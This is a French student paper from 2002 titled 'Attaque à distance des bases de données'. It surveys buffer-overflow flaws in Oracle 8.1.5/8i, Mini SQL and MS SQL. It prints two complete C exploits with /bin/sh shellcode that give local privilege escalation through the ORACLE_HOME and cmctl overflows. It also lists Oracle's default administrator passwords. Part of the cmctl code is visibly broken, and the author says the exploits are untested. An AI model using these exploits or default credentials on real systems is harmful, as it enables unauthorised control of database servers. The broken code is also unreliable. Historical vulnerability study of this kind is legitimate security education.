Attaque à distance des bases de données
Black Hat de l'EPITECH

Olivier GARNIER

Compilé le 26 janvier 2002

Table des matières

1 Introduction

Nous allons traiter dans le présent document des attaques sur les différents serveur de base de données. Pour ce faire nous regarderons les problèmes liés à la sécurité informatique serveur par serveur et système d'exploitation par système d'exploitation.

2 Oracle

2.1 Version

Oracle 8.1.5

2.1.1 Système d'exploitation

Linux RedHat Linux 6.2

2.1.2 Problème

Dépassement de mémoire.

2.1.3 Description

Il est possible de créer une vulnérabilité de débordement de mémoire en utilisant "ORACLE_HOME", une des variables d'environnement utilisée par Oracle.
Les applications Oracles qui sont vulnérables à ce débordement de mémoire sont :

- names
- namesctl
- onrsd
- osslogin
- tnslsnr
- tnsping
- trcasst
- trcroute

Ces applications permettent à un pirate de pouvoir exécuter un dépassement de mémoire.

2.1.4 Exploit

```
/*
    Oracle 8.1.5 exploit
                            -by loveyou
    offset value : -500 ~ +500
*/


#include <stdio.h>
#include <stdlib.h>
#define BUFFER 800
#define NOP 0x90
#define PATH "la_ou_est_oracle/oracle/8.1.5/bin/names"
char shellcode[] =
    /* - K2 - */
    /* main : */
"\xeb\x1d"                                          /* jmp callz */
    /* start : */
"\x5e"                                              /* popl %esi */
"\x29\xc0"                                          /* subl %eax, %eax */
"\x88\x46\x07"                                      /* movb %al, 0x07(%esi) */
"\x89\x46\x0c"                                      /* movl %eax, 0x0c(%esi) */
"\x89\x76\x08"                                      /* movl %esi, 0x08(%esi) */
"\xb0\x0b"                                          /* movb $0x0b, %al */
"\x87\xf3"                                          /* xchgl %esi, %ebx */
"\x8d\x4b\x08"                                      /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c"                                      /* leal 0x0c(%ebx), %edx  */
"\xcd\x80"                                          /* int $0x80 */
"\x29\xc0"                                          /* subl %eax, %eax */
"\x40"                                              /* incl %eax */
"\xcd\x80"                                          /* int $0x80 */
    /* callz : */
"\xe8\xde\xff\xff\xff"                              /* call start */
"/bin/sh";


unsigned long getesp(void)
{
    __asm__("movl %esp,%eax");
}
```

```
int main(int argc, char *argv[])
{
    char *buff, *ptr,binary[120];
    long *addr_ptr, addr;
    int bsize=BUFFER;
    int i,offset;
    offset = 0;
    if ( argc > 1 )
        offset = atoi(argv[1]);
    buff = malloc(bsize);
    addr = getesp() - 5933 - offset;
    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;
    memset(buff,bsize/2,NOP);
    ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
    for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
    buff[bsize - 1] = '\0';
    setenv("ORACLE_HOME",buff,1);
    printf("[ offset :%d buffer=%d ret :0x%x ]\n",
    offset,strlen(buff),addr);
    system(PATH);
}
```

2.1.5 Système d'exploitation

Seulement testé pour Linux mais peut sûrement être utilisé sous tous les Unix-Like.

2.1.6 Problème

Trou de sécurité dans cmctl[1]

2.1.7 Description

Il y a un problème de dépassement de mémoire dans cmctl qui permet à un utilisateur local d'obtenir l'euid de l'utilisateur Oracle et l'egid de dba

[1] Connection Manager Control binary

avec l'installation par défaut. Toutes les bases de données appartiennent à l'utilisateur Oracle.

2.1.8 Exploit

```
/*
    Exploit Code for cmctl in Oracle 8.1.5 (8i) for Linux. I tested in RH
    6.2 and 6.1. Is possible to export to others platforms.
    If someone exports this to Sparc please tell me.

    synopsis : buffer overflow in cmctl
    Impact : any user gain euid=oracle and egid=dba.
    Dedicated to cmlc guys : juaroflin, oscar, ismak, blas, blackbas and others.

    Thanks for your patience and time.
    Special Thanks to my favourite DBA. Xavi "de verdad como sois" Morales.
*/
#include <stdio.h>
#include <stdlib.h>
#define DEFAULT_OFFSET 1
#define DEFAULT_BUFFER_SIZE 350
#define NOP 0x90
#define BINARY "/usr/local/oracle8i/app/oracle/product/8.1.5/bin/cmctl

echo $pakito"
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";



unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

main(int argc, char *argv[])
{
    char *buff, *ptr,*name[3],environ[100],binary[120];
    long *addr_ptr, addr
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
```

```
    int i;
    if (argc > 1)
        offset = atoi(argv[1]);
    else
    {
        printf("Use ./cmctl_start Offset \n");
        exit(1);
    }
    buff = malloc(bsize);
    addr = get_sp() - offset;
    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;
    for (i = 0; i < bsize/2; i++)
        buff[i] = NOP;
    ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
    for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
    buff[bsize - 1] = '\0';
    setenv("pakito",buff,1);
    system(BINARY);
}
```

2.2 Version

Oracle 8i

2.2.1 Système d'exploitation

Oracle 8i Standard et Enterprise Editions Version 8.1.5, 8.1.6, 8.1.7 et version précédentes pour Windows, Linux, Solaris, AIX, HP-UX et Tru64 Unix.

2.2.2 Problème

Vulnérabilité de Dépassement de mémoire dans le listener d'Oracle 8i

2.2.3 Description

Un trou de sécurité potentiel a été découvert dans le listener de la base de données Oracle8i. Ce trou de sécurité causé par un débordement de mémoire qui autorise l'exécution à distance d'un code arbitraire sur la base de données avec tous les droits sur la base de données, ses services et sur quelques plateformes le contrôle complet de tout le système.
L'administration du listener de la base de données Oracle peut se faire via les commandes STATUS, PING et SERVICES. D'autres requêtes telles que TRC_FILE, SAVE_CONFIG et RELOAD sont utilisées pour changer la configuration du listener. Un dépassement de mémoire peut être utilisé si l'argument d'une de ses commandes contient des arguments suffisamment grands.
Le listener d'Oracle8i est lancé avec les privilèges LocalSystem sous Win NT/2000 et avec les privilèges de l'utilisateur Oracle sous Unix. Une exploitation convenable du dépassement de mémoire permettent au pirate de récupérer ses privilèges.

3 Mini SQL

3.1 Version

MSQL 2.1 et précédentes.
Mini SQL Version 2.0 a deux problèmes majeurs :

- le spoofing.
- le dépassement de mémoire.

3.1.1 Système d'exploitation

Microsoft Windows et OS/2

3.1.2 Problème

Dépassement de mémoire.

3.1.3 Description

Un exemple de sensibilité au dépassement de mémoire est présent dans le fichier table.c :

int openTable(table,db)

```
char *table;
char *db;
{
    char path[MAXPATHLEN];
    (void)sprintf(path,"%s/msqldb/%s/%s.dat",msqlHomeDir,db,table);
    ...
```

Dans cet exemple la fonction openTable prends en paramètres le nom de la table et essaye de le copier dans un buffer de taille prédéfinie. Le fait que la taille de ce buffer soit prédéfinie (MAXPATHLEN = 160) fait qu'un pirate peut tenter d'effectuer un buffer overflow en appelant cette fonction avec un nom de table supérieur à 160 et reprendre la main ensuite.
De plus msqld et msql2d s'exécutent en root, la personne profitant de cette erreur de programmation aura alors tous les droits sur la machine.

4 Ms SQL

4.1 Version

Ms SQL 7 et Ms SQL 2000 sans patches

4.1.1 Problème

Dépassement de mémoire en exécutant une requête SQL.

4.1.2 Description

Le serveur Ms SQL fourni des fonctions prédéfinies en c pour le formatage d'erreur.
Elles sont accessibles à tous les utilisateurs. Pour exploiter ce trou de sécurité, le pirate doit être capable d'exécuter une requête SQL.
Par exemple la fonction raiserror() est accessible à tous les utilisateurs, et permet d'exploiter un dépassement de mémoire. On peut en effet lui passer un paramètre de taille définie. Comme vu précédemment, un pirate expérimenté pourras en profiter pour prendre la main sur le programme.
La fonction formatmessage() est accessible a tous les utilisateurs et permet de spécifier des messages d'erreur malicieux. Par la suite n'importe quel utilisateur appelant le formatage de message où a été inséré ce code l'exécutera causant ce pour quoi il a été mis là (on peut aussi bien effacer une table

qu'incrémenter un numéro dans un champs d'une base)
La fonction xp_sprintf permet de spécifier la taille d'une variable. Elle entraîne donc la possibilité d'exploiter un dépassement de mémoire permettant de reprendre la main.

5 Toutes les bases de données

Tout système s'il est mal configuré donne aux pirates un point d'entrée. Vérifiez si tous les utilisateurs de la base de données n'ont pas les droits, si les utilisateurs créés par défaut par le serveur sont toujours actifs. Très souvent, le serveur créé durant l'installation par défaut des utilisateurs de démonstration avec un login et un mot de passe fixe Comme durant l'installation d'Oracle qui créé les deux utilisateurs SYSTEM avec le mot de passe MANAGER et SYS avec le mot de passe change_on_install.

6 Bibliographie

6.1 Sites Internet

http ://www.securityfocus.com/ Security Focus.
http ://www.pgp.com/research/covert/ Covert Labs
http ://www.incidents.org/ l'Institut SANS
http ://www.bugtraq.org/ Bugtraq
http ://www.kitetoa.com/ kitetoa

7 Avertissement

Attention, du fait du nombre de bases de données et de système d'exploitation dont nous parlons, les exploits mentionnés n'ont pas pu être testés. Bien que provenant de source fiable, ils restent à vérifier.
Cet article à été écrit à des fins éducatives. L'auteur décline toute résponsabilité quant à la mauvaise utilisation de celui-ci.